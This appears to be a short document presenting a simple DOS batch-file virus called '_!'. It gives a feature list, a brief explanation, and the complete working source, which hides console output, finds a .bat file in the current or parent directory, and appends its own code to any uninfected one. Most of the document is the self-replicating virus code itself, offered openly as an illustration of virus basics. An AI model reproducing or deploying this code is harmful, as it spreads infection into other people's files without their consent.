BATCH VIRUS

Batch virus "_!"
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Infects parent and current directories
Virus code is appended to the host batch
Only works if host is in current directory
Infects just one batch unless new clean batches are added

This is a very simple batch virus. When it runs it appends its code
to another batch file in the parent or current directory. It is not
very effective but illustrates the basics.

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@ctty nul._!
for %%a in (*.bat ..\*.bat) do set _!=%%a
find "_!"<%_!%
if errorlevel 1 find "_!"<%0.BAT>>%_!%
ctty con._!
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